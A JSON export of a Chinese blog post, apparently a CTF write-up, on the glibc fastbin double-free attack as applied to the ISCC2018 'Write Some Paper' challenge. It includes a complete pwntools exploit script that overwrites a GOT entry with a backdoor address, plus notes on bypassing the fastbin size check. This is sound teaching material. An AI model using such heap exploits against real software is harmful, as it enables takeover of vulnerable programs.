{"id":204,"date":"2025-11-20T22:06:58","date_gmt":"2025-11-20T14:06:58","guid":{"rendered":"http:\/\/www.xuanbin.top\/?p=204"},"modified":"2025-11-20T22:06:59","modified_gmt":"2025-11-20T14:06:59","slug":"fast-bin_attack-double-free","status":"publish","type":"post","link":"http:\/\/www.xuanbin.top\/index.php\/2025\/11\/20\/fast-bin_attack-double-free\/","title":{"rendered":"fast bin_attack\u2014\u2014double free"},"content":{"rendered":"\n

\u9002\u7528\u7248\u672c:2.23\u30012.27\u3002<\/p>\n\n\n\n

\u601d\u8def<\/h2>\n\n\n\n

\u5bf9\u4e00\u4e2achunk\u8fdb\u884c\u591a\u6b21\u91ca\u653e\u4ece\u800c\u7ed9fast bin\u7684\u5355\u5411\u94fe\u8868\u5f62\u6210\u73af\uff0c\u5728\u7b2c\u4e00\u6b21\u7533\u8bf7\u65f6\u5f15\u5165\u76ee\u6807\u5730\u5740\uff0c\u7b2c\u4e8c\u6b21\u7533\u8bf7\u65f6\u83b7\u53d6\u76ee\u6807\u5730\u5740chunk\u5b9e\u73b0\u5730\u5740\u5199\u3002<\/p>\n\n\n\n

\u5b8c\u4e86\uff0c\u753b\u56fe\u7684\u65f6\u5019\u90fd\u5199\u6210unsorted bin\u4e86\uff0c\u5b9e\u9645\u4e0a\u65f6fast bin<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\u5229\u7528\u6761\u4ef6<\/h2>\n\n\n\n
    \n
  • \u5b58\u5728UAF\uff0c\u53ef\u4ee5\u591a\u6b21\u91ca\u653e\u540c\u4e00chunk<\/li>\n\n\n\n
  • \u76ee\u6807\u5730\u5740\u5185\u5b58\u503c\u6ee1\u8db3fast bin_index\u68c0\u67e5<\/li>\n<\/ul>\n\n\n\n

    \u4f8b\u9898<\/h2>\n\n\n\n

    ISCC2018\u2014\u2014Write Some Paper<\/p>\n\n\n\n

    \"\"<\/figure>\n\n\n\n

    menu:<\/p>\n\n\n\n

    \"\"<\/figure>\n\n\n\n

    add:<\/p>\n\n\n\n

    \"\"<\/figure>\n\n\n\n

    delete:<\/p>\n\n\n\n

    \"\"<\/figure>\n\n\n\n

    \u5b58\u5728UAF\u6f0f\u6d1e<\/p>\n\n\n\n

    secret:<\/p>\n\n\n\n

    \"\"<\/figure>\n\n\n\n

    \u65e0\u610f\u4e49<\/p>\n\n\n\n

    backdoor:<\/p>\n\n\n\n

    \"\"<\/figure>\n\n\n\n

    \u5b58\u5728\u540e\u95e8\u51fd\u6570<\/p>\n\n\n\n

    \u6574\u4f53\u601d\u8def\u5c31\u662ffast bin doublefree\u6539got\u8868\u67d0\u4e2a\u51fd\u6570\u4e3a\u540e\u95e8\u5730\u5740\uff0c\u503c\u5f97\u6ce8\u610f\u7684\u662f\u6709\u4e00\u4e2a\u5b89\u5168\u673a\u5236\u9700\u8981\u8003\u8651\uff0c\u5728tips\u4e2d\u8be6\u7ec6\u8bf4\u660e\u3002<\/p>\n\n\n\n

    exp:<\/p>\n\n\n\n

    from pwn import *\n\ncontext(arch='amd64',log_level='debug')\nfile = '.\/pwn'\nelf = ELF(file)\np=process(file)\ngdb.attach(p,\"b *0x400902\")\ns       = lambda data               :p.send(data)\nsa      = lambda text,data          :p.sendafter(text, data)\nsl      = lambda data               :p.sendline(data)\nsla     = lambda text,data          :p.sendlineafter(text, data)\nr       = lambda num=4096           :p.recv(num)\nrl      = lambda                    :p.recvline()\nru      = lambda text               :p.recvuntil(text)\nuu32    = lambda                    :u32(p.recvuntil(b\"\\xf7\")[-4:].ljust(4,b\"\\x00\"))\nuu64    = lambda                    :u64(p.recvuntil(b\"\\x7f\")[-6:].ljust(8,b\"\\x00\"))\ninf     =  lambda s                 :info(f\"{s} ==> 0x{eval(s):x}\")\n\ndef create(size,index,content):\n    ru(\"Welcome to use the paper management system!\")\n    sl(\"1\")\n    ru(\"Input the index you want to store(0-9):\")\n    sl(str(index))\n    ru(\"How long you will enter:\")\n    sl(str(size).encode())\n    ru(\"please enter your content:\")\n    sl(content)\n\ndef delete(index):\n    ru(\"Welcome to use the paper management system!\")\n    sl(\"2\")\n    ru(\"which paper you want to delete,please enter it's index(0-9):\")\n    sl(str(index))\n\ntarget=0x400943\ncreate(0x30,0,\"aaaa\")\ncreate(0x30,1,\"bbbb\")\n\ndelete(0)\ndelete(1)\ndelete(0)\n\ncreate(0x30,2,p64(0x60202a))\ncreate(0x30,3,\"cccc\")\ncreate(0x30,4,\"dddd\")\ncreate(0x30,5,\"\\x40\\x00\\x00\\x00\\x00\\x00\"+p64(target))\nru(\"Welcome to use the paper management system!\")\nsl(\"p\")\np.interactive()<\/code><\/pre>\n\n\n\n
    Tips<\/h2>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    \u6309\u5e38\u7406\u6765\u8bf4\uff0c\u53ea\u8981\u4fdd\u8bc1chunk\u751f\u6210\u65f6\u8bbe\u7f6e\u7684chunk\u5934\u4e0d\u4f1a\u7834\u574f\u540e\u7eed\u7a0b\u5e8f\u6267\u884c\u8fc7\u7a0b\u7528\u5230\u7684\u51fd\u6570\u5c31\u884c\uff0c\u56fe\u4e2d602028\u5c31\u662f\u4e00\u4e2a\u770b\u8d77\u6765\u5f88\u597d\u7684\u9009\u62e9,\u8986\u76d6printf\u51fd\u6570\u4e3a\u540e\u95e8\u51fd\u6570<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    \u53ef\u4ee5\u770b\u5230\uff0c\u9009\u62e9602028\u65f6\u53ea\u8981\u7ef4\u6301system\u4e3a400756\uff0c\u540e\u7eed\u8986\u76d6printf\u5373\u53ef\uff0c\u4f46\u662f\u6709\u4e00\u4e2a\u5b89\u5168\u673a\u5236<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    \u56fe\u4e2d\u6846\u8d77\u6765\u7684\u90e8\u5206\u8868\u793a\uff0c\u4ecefast bin\u4e2d\u53d6chunk\u65f6\uff0c\u4f1a\u68c0\u67e5\u6240\u53d6chunk\u7684size\u662f\u5426\u4e0efast bin\u7684index\u5339\u914d\uff0c\u4e5f\u5c31\u662fchunk\u8be5\u4e0d\u8be5\u51fa\u73b0\u5728fast bin\u7684\u8fd9\u4e2aindex\u94fe\u8868\u91cc<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    fastbin_index\u7684\u68c0\u67e5\u673a\u5236\u662f\u5c06chunk\u7684size\u53f3\u79fb4\u4f4d\uff08\u572832\u4f4d\u7cfb\u7edf\u4e2d\u662f3\u4f4d\uff09\uff0c\u7136\u540e\u51cf2\u3002fast bin\u7684\u5e8f\u53f7\u4ece0x20,0x30,0x40\u4f9d\u6b21\u9012\u589e\uff0c\u540c\u65f6unsigned int\u662f\u4f4e4\u5b57\u8282\uff0c\u6240\u4ee5\u6bd4\u5982\u8981\u7533\u8bf70x30\u7684\u5185\u5b58\uff0c\u9700\u8981\u627e\u4e00\u4e2a\u4e3a\u503c0x00000040\u7684\u5185\u5b58\u5730\u5740\u3002\u56e0\u4e3a\u662fsize\u5b57\u6bb5\u7684\u4f4e4\u5b57\u8282\uff0c\u6240\u4ee5chunk\u5934\u90e8\u7684prev_size\u5b57\u6bb5\u4e0esize\u5b57\u6bb5\u7684\u9ad8\u56db\u4f4d\u6ca1\u6709\u9650\u5236\u3002<\/p>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    \u8c03\u8bd5\u53ef\u4ee5\u53d1\u73b0\uff0c0x60202a\u8fd9\u4e2achunk\u7b26\u5408\u8981\u6c42\uff0c\u540c\u65f6\u9700\u8981\u5728\u7533\u8bf7\u65f6\u7ef4\u6301system\u4e0d\u53d8\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
    \u9002\u7528\u7248\u672c:2.23\u30012.27\u3002 \u601d\u8def \u5bf9\u4e00\u4e2achunk\u8fdb\u884c\u591a\u6b21\u91ca\u653e\u4ece\u800c\u7ed9fast bin\u7684\u5355\u5411\u94fe\u8868\u5f62\u6210\u73af\uff0c\u5728\u7b2c\u4e00\u6b21\u7533\u8bf7\u65f6\u5f15\u5165\u76ee\u6807\u5730 …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-204","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/comments?post=204"}],"version-history":[{"count":2,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions"}],"predecessor-version":[{"id":222,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions\/222"}],"wp:attachment":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/media?parent=204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/categories?post=204"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/tags?post=204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}